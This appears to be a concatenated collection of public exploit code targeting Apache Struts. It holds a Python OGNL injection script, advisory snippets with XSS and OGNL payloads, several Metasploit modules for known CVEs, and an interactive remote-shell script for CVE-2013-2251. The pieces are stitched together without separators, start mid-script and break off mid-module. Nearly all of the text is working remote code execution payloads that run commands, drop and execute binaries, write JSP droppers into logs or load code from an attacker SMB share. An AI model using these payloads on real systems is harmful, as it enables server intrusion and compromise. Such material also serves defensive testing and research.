#payload = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"""
# Can show the echo message
payload = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}"
link = "{}/?{}={}".format(url, param, quote(payload))
print "[*] Generated EXP: {}".format(link)
print "\n[*] Exploiting..."
exploit(link)
source: https://www.securityfocus.com/bid/47784/info
Apache Struts is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
Successful exploitation requires 'Dynamic Method Invocation' to be enabled by default.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Apache Struts versions 2.0.0 through 2.2.1.1 are vulnerable.
http://www.example.com/struts2-blank/home.action!login:cantLogin<script>alert(document.cookie)</script>=some_value
source: https://www.securityfocus.com/bid/52702/info
Apache Struts2 is prone to a remote arbitrary file-upload vulnerability because it fails to sufficiently sanitize user-supplied input.
Attackers can exploit this issue to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet xmlns:xsl="http://www.example.com/1999/XSL/Transform"
version="1.0" xmlns:ognl="ognl.Ognl">
<xsl:template match="/">
<html>
<body>
<h2>hacked by kxlzx</h2>
<h2>http://www.example.com</h2>
<exp>
<xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec("calc")', '')"/>
</exp>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution',
'Description' => %q{ This module exploits a remote code execution vulnerability in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series. Remote Code Execution can be performed via a malicious field value. },
'License' => MSF_LICENSE,
'Author' => [
'icez <ic3z at qq dot com>',
'Nixawk',
'xfer0'
],
'References' => [
[ 'CVE', '2017-9791' ],
[ 'BID', '99484' ],
[ 'EDB', '42324' ],
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-048' ]
],
'Privileged' => true,
'Targets' => [
[
'Universal', {
'Platform' => %w{ linux unix win },
'Arch' => [ ARCH_CMD ]
}
]
],
'DisclosureDate' => 'Jul 07 2017',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/integration/saveGangster.action' ]),
OptString.new('POSTPARAM', [ true, 'The HTTP POST parameter', 'name' ])
]
)
end
def send_struts_request(ognl)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
uri = normalize_uri(datastore['TARGETURI'])
data = {
datastore['POSTPARAM'] => ognl,
'age' => var_a,
'__checkbox_bustedBefore' => 'true',
'description' => var_b
}
resp = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'vars_post' => data
})
if resp && resp.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
resp
end
def check
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
ognl = "%{'#{var_a}' + '#{var_b}'}"
begin
resp = send_struts_request(ognl)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end
if resp && resp.code == 200 && resp.body.include?("#{var_a}#{var_b}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
resp = exec_cmd(payload.encoded)
unless resp and resp.code == 200
fail_with(Failure::Unknown, "Exploit failed.")
end
print_good("Command executed")
print_line(resp.body)
end
def exec_cmd(cmd)
ognl = "%{(#_='multipart/form-data')."
ognl << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
ognl << "(#_memberAccess?(#_memberAccess=#dm):"
ognl << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
ognl << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
ognl << "(#ognlUtil.getExcludedPackageNames().clear())."
ognl << "(#ognlUtil.getExcludedClasses().clear())."
ognl << "(#context.setMemberAccess(#dm))))."
ognl << "(#cmd='#{cmd}')."
ognl << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
ognl << "(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())."
ognl << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
ognl << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
send_struts_request(ognl)
end
end
source: https://www.securityfocus.com/bid/55165/info
Apache Struts2 is prone to a remote-code-execution vulnerability because it fails to sufficiently sanitize user-supplied input.
Attackers can exploit this issue to execute arbitrary code in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
# Eschewing CmdStager for now, since the use of '\' and ';' are killing me
#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
'Description' => %q{
This module exploits a remote code execution vulnerability in Apache Struts
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
via an endpoint that makes use of a redirect action.
Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
#TODO: Is that second paragraph above still accurate?
'Author' => [
'Man Yue Mo', # Discovery
'hook-s3c', # PoC
'asoto-r7', # Metasploit module
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-11776'],
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
],
'Privileged' => false,
'Targets' => [
[
'Automatic detection', {
'Platform' => %w{ unix windows linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Windows', {
'Platform' => %w{ windows },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Linux', {
'Platform' => %w{ unix linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
},
],
],
'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
]
)
register_advanced_options(
[
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
]
)
end
def check
# METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
ognl = "#_memberAccess['allowStaticMethodAccess']"
resp = send_struts_request(ognl)
# If vulnerable, the server should return an HTTP 302 (Redirect)
# and the 'Location' header should contain either 'true' or 'false'
if resp && resp.headers['Location']
output = resp.headers['Location']
vprint_status("Redirected to: #{output}")
if (output.include? '/true/')
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
datastore['ENABLE_STATIC'] = false
CheckCode::Vulnerable
elsif (output.include? '/false/')
print_status("Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'")
datastore['ENABLE_STATIC'] = true
CheckCode::Vulnerable
else
CheckCode::Safe
end
elsif resp && resp.code==400
# METHOD 2: Generate two random numbers, ask the target to add them together.
# If it does, it's vulnerable.
a = rand(10000)
b = rand(10000)
c = a+b
ognl = "#{a}+#{b}"
resp = send_struts_request(ognl)
if resp.headers['Location'].include? c.to_s
vprint_status("Redirected to: #{resp.headers['Location']}")
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
datastore['ENABLE_STATIC'] = false
CheckCode::Vulnerable
else
CheckCode::Safe
end
end
end
def exploit
case payload.arch.first
when ARCH_CMD
resp = execute_command(payload.encoded)
else
resp = send_payload()
end
end
def encode_ognl(ognl)
# Check and fail if the command contains the follow bad characters:
# ';' seems to terminates the OGNL statement
# '/' causes the target to return an HTTP/400 error
# '\' causes the target to return an HTTP/400 error (sometimes?)
# '\r' ends the GET request prematurely
# '\n' ends the GET request prematurely
# TODO: Make sure the following line is uncommented
bad_chars = %w[; \\ \r \n] # and maybe '/'
bad_chars.each do |c|
if ognl.include? c
print_error("Bad OGNL request: #{ognl}")
fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
end
end
# The following list of characters *must* be encoded or ORNL will asplode
encodable_chars = { "%": "%25", # Always do this one first. :-)
" ": "%20",
"\"":"%22",
"#": "%23",
"'": "%27",
"<": "%3c",
">": "%3e",
"?": "%3f",
"^": "%5e",
"`": "%60",
"{": "%7b",
"|": "%7c",
"}": "%7d",
#"\/":"%2f", # Don't do this. Just leave it front-slashes in as normal.
#";": "%3b", # Doesn't work. Anyone have a cool idea for a workaround?
#"\\":"%5c", # Doesn't work. Anyone have a cool idea for a workaround?
#"\\":"%5c%5c", # Doesn't work. Anyone have a cool idea for a workaround?
}
encodable_chars.each do |k,v|
#ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp)
ognl.gsub!("#{k}","#{v}")
end
return ognl
end
def send_struts_request(ognl, payload: nil)
=begin #badchar-checking code
pre = ognl
=end
ognl = "${#{ognl}}"
vprint_status("Submitted OGNL: #{ognl}")
ognl = encode_ognl(ognl)
headers = {'Keep-Alive': 'timeout=5, max=1000'}
if payload
vprint_status("Embedding payload of #{payload.length} bytes")
headers[datastore['HEADER']] = payload
end
# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
uri = "/#{ognl}/#{datastore['ACTION']}"
resp = send_request_cgi(
#'encode' => true, # this fails to encode '\', which is a problem for me
'uri' => uri,
'method' => datastore['HTTPMethod'],
'headers' => headers
)
if resp && resp.code == 404
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
end
=begin #badchar-checking code
print_status("Response code: #{resp.code}")
#print_status("Response recv: BODY '#{resp.body}'") if resp.body
if resp.headers['Location']
print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
if resp.headers['Location'].split('/')[1] == pre[1..-2]
print_good("GOT 'EM!")
else
print_error(" #{pre[1..-2]}")
end
end
=end
resp
end
def profile_target
# Use OGNL to extract properties from the Java environment
properties = { 'os.name': nil, # e.g. 'Linux'
'os.arch': nil, # e.g. 'amd64'
'os.version': nil, # e.g. '4.4.0-112-generic'
'user.name': nil, # e.g. 'root'
#'user.home': nil, # e.g. '/root' (didn't work in testing)
'user.language': nil, # e.g. 'en'
#'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing)
}
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|('#{rand_text_alpha(2)}')|
properties.each do |k,v|
ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|
end
ognl = ognl[0...-4]
r = send_struts_request(ognl)
if r.code == 400
fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
elsif r.headers['Location']
# r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
# Extract the OGNL output from the Location path, and strip the two random chars
s = r.headers['Location'].split('/')[1][2..-1]
if s.nil?
# Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
# But we didn't get any output, so we can't profile the target. Abort.
return nil
end
# Confirm that all fields were returned, and non include extra (:) delimiters
# If the OGNL fails, we might get a partial result back, in which case, we'll abort.
if s.count(':') > properties.length
print_error("Failed to profile target. Response from server: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")
end
# Separate the colon-delimited properties and store in the 'properties' hash
s = s.split(':')
i = 0
properties.each do |k,v|
properties[k] = s[i]
i += 1
end
print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +
" #{properties[:'os.arch']}, running as #{properties[:'user.name']}")
return properties
else
print_error("Failed to profile target. Response from server: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")
end
end
def execute_command(cmd_input, opts={})
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
if cmd_input.include? ';'
print_warning("WARNING: Command contains bad characters: semicolons (;).")
end
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
if (os.include? 'linux') || (os.include? 'nix')
cmd = "{'sh','-c','#{cmd_input}'}"
elsif os.include? 'win'
cmd = "{'cmd.exe','/c','#{cmd_input}'}"
else
vprint_error("Failed to detect target OS. Attempting to execute command directly")
cmd = cmd_input
end
# The following OGNL will run arbitrary commands on Windows and Linux
# targets, as well as returning STDOUT and STDERR. In my testing,
# on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.
vprint_status("Executing: #{cmd}")
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|
ognl << %q|(#p.redirectErrorStream(true)).|
ognl << %q|(#process=#p.start()).|
ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|
ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|
ognl << %q|(#r.flush())|
r = send_struts_request(ognl)
if r && r.code == 200
print_good("Command executed:\n#{r.body}")
elsif r
if r.body.length == 0
print_status("Payload sent, but no output provided from server.")
elsif r.body.length > 0
print_error("Failed to run command. Response from server: #{r.to_s}")
end
end
end
def send_payload
# Probe for the target OS and architecture
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
data_header = datastore['HEADER']
if data_header.empty?
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
end
random_filename = datastore['TEMPFILE']
# d = data stream from HTTP header
# f = path to temp file
# s = stream/handle to temp file
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
ognl << %q|(#s.write(#d)).|
ognl << %q|(#s.close()).|
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
ognl << %q|(#p.start()).|
ognl << %q|(#f.delete()).|
success_string = rand_text_alpha(4)
ognl << %Q|('#{success_string}')|
exe = [generate_payload_exe].pack("m").delete("\n")
r = send_struts_request(ognl, payload: exe)
if r && r.headers && r.headers['Location'].split('/')[1] == success_string
print_good("Payload successfully dropped and executed.")
elsif r && r.headers['Location']
vprint_error("RESPONSE: " + r.headers['Location'])
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
elsif r && r.code == 400
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
end
end
end
# Exploit Title: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
# Google Dork: ext:action | filetype:action
# Date: 2020/09/09
# Exploit Author: Jonatas Fil
# Vendor Homepage: http://struts.apache.org/release/2.3.x/docs/s2-016.html
# Version: <= 2.3.15
# Tested on: Linux
# CVE : CVE-2013-2251
#!/usr/bin/python
#
# coding=utf-8
#
# Struts 2 DefaultActionMapper Exploit [S2-016]
# Interactive Shell for CVE-2013-2251
#
# The Struts 2 DefaultActionMapper supports a method for short-circuit
navigation state changes by prefixing parameters with
# "action:" or "redirect:", followed by a desired navigational target
expression. This mechanism was intended to help with
# attaching navigational information to buttons within forms.
#
# https://struts.apache.org/docs/s2-016.html
# Jonatas Fil (@exploitation)
import requests
import sys
import readline
# Disable SSL
requests.packages.urllib3.disable_warnings()
# ShellEvil
if len(sys.argv) == 2:
target = sys.argv[1] # Payload
first = target +
"?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','"
second =
"'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
loop = 1
while loop == 1:
cmd = raw_input("$ ")
while cmd.strip() == '':
cmd = raw_input("$ ")
if cmd.strip() == '\q':
print("Exiting...")
sys.exit()
try:
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36"}
pwn=requests.get(first+cmd+second,headers =
headers,verify=False) # Disable SSL
if pwn.status_code == 200:
print pwn.content # 1337
else:
print("Not Vuln !")
sys.exit()
except Exception,e:
print e
print("Exiting...")
sys.exit()
else: # BANNER
print('''
__ _ _ _ __ _ _
/ _\ |__ ___| | | /__\_ _(_) |
\ \| '_ \ / _ \ | |/_\ \ \ / / | |
_\ \ | | | __/ | //__ \ V /| | |
\__/_| |_|\___|_|_\__/ \_/ |_|_|
by Jonatas Fil [@explotation]
''')
print("======================================================")
print("# Struts 2 DefaultActionMapper Exploit [S2-016] #")
print("# USO: python struts.py http://site.com:8080/xxx.action #")
print("======================================================")
print("bye")
sys.exit()
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking # It's going to manipulate the Class Loader
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SMB::Server::Share
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts versions
1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with
the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due
to the ParametersInterceptor. Both allow access to 'class' parameter that is directly
mapped to getClass() method and allows ClassLoader manipulation. As a result, this can
allow remote attackers to execute arbitrary Java code via crafted parameters.
},
'Author' =>
[
'Mark Thomas', # Vulnerability Discovery
'Przemyslaw Celej', # Vulnerability Discovery
'Redsadic <julian.vilas[at]gmail.com>', # Metasploit Module
'Matthew Hall <hallm[at]sec-1.com>' # SMB target
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-0094'],
['CVE', '2014-0112'],
['CVE', '2014-0114'],
['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204'],
['URL', 'https://github.com/rgielen/struts1filter/tree/develop']
],
'Platform' => %w{ linux win },
'Payload' =>
{
'Space' => 5000,
'DisableNops' => true
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
['Java',
{
'Arch' => ARCH_JAVA,
'Platform' => %w{ linux win }
},
],
['Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
['Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
]
],
'DisclosureDate' => 'Mar 06 2014',
'DefaultTarget' => 1))
register_options(
[
Opt::RPORT(8080),
OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
], self.class)
deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
end
def jsp_dropper(file, exe)
dropper = <<-eos
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
eos
dropper
end
def dump_line(uri, cmd = '')
res = send_request_cgi({
'uri' => uri,
'encode_params' => false,
'vars_get' => {
cmd => ''
},
'version' => '1.1',
'method' => 'GET'
})
res
end
def modify_class_loader(opts)
cl_prefix =
case datastore['STRUTS_VERSION']
when '1.x' then "class.classLoader"
when '2.x' then "class['classLoader']"
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
'method' => 'GET',
'vars_get' => {
"#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory],
"#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix],
"#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix],
"#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
}
})
res
end
def check_log_file(hint)
uri = normalize_uri("/", @jsp_file)
print_status("Waiting for the server to flush the logfile")
10.times do |x|
select(nil, nil, nil, 2)
# Now make a request to trigger payload
vprint_status("Countdown #{10-x}...")
res = dump_line(uri)
# Failure. The request timed out or the server went away.
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?
# Success if the server has flushed all the sent commands to the jsp file
if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
print_good("Log file flushed at http://#{peer}/#{@jsp_file}")
return true
end
end
false
end
# Fix the JSP payload to make it valid once is dropped
# to the log file
def fix(jsp)
output = ""
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l
elsif l =~ /<%/
next
elsif l=~ /%>/
next
elsif l.chomp.empty?
next
else
output << "<% #{l.chomp} %>"
end
end
output
end
def create_jsp
if target['Arch'] == ARCH_JAVA
jsp = fix(payload.encoded)
else
if target['Platform'] == 'win'
payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", {:arch => target.arch, :platform => target.platform})
else
payload_exe = generate_payload_exe
end
payload_file = rand_text_alphanumeric(4 + rand(4))
jsp = jsp_dropper(payload_file, payload_exe)
register_files_for_cleanup(payload_file)
end
jsp
end
def exploit
if target.name =~ /Remote SMB Resource/
begin
Timeout.timeout(datastore['SMB_DELAY']) { super }
rescue Timeout::Error
# do nothing... just finish exploit and stop smb server...
end
else
class_loader_exploit
end
end
# Used with SMB targets
def primer
self.file_name << '.jsp'
self.file_contents = payload.encoded
print_status("JSP payload available on #{unc}...")
print_status("Modifying Class Loader...")
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
'method' => 'GET',
'vars_get' => {
'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
}
})
jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/')
jsp_shell << "/#{self.file_name}"
print_status("Accessing JSP shell at #{jsp_shell}...")
send_request_cgi({
'uri' => normalize_uri(jsp_shell),
'version' => '1.1',
'method' => 'GET',
})
end
def class_loader_exploit
prefix_jsp = rand_text_alphanumeric(3+rand(3))
date_format = rand_text_numeric(1+rand(4))
@jsp_file = prefix_jsp + date_format + ".jsp"
# Modify the Class Loader
print_status("Modifying Class Loader...")
properties = {
:directory => 'webapps/ROOT',
:prefix => prefix_jsp,
:suffix => '.jsp',
:file_date_format => date_format
}
res = modify_class_loader(properties)
unless res
fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
end
# Check if the log file exists and has been flushed
unless check_log_file(normalize_uri(target_uri.to_s))
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
end
register_files_for_cleanup(@jsp_file)
# Prepare the JSP
print_status("Generating JSP...")
jsp = create_jsp
# Dump the JSP to the log file
print_status("Dumping JSP into the logfile...")
random_request = rand_text_alphanumeric(3 + rand(3))
uri = normalize_uri('/', random_request)
jsp.each_line do |l|
unless dump_line(uri, l.chomp)
fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
end
end
# Check log file... enjoy shell!
check_log_file(random_request)
# No matter what happened, try to 'restore' the Class Loader
properties = {
:directory => '',
:prefix => '',
:suffix => '',
:file_date_format => ''
}
modify_class_loader(properties)
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
Execution can be performed when using REST Plugin with ! operator when
Dynamic Method Invocation is enabled.
},
'Author' => [
'Nixawk' # original metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-3087' ],
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ]
],
'Platform' => %w{ java linux win },
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'Jun 01 2016',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']),
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
], self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def get_target_platform
target.platform.platforms.first
end
def temp_path
@TMPPATH ||= lambda {
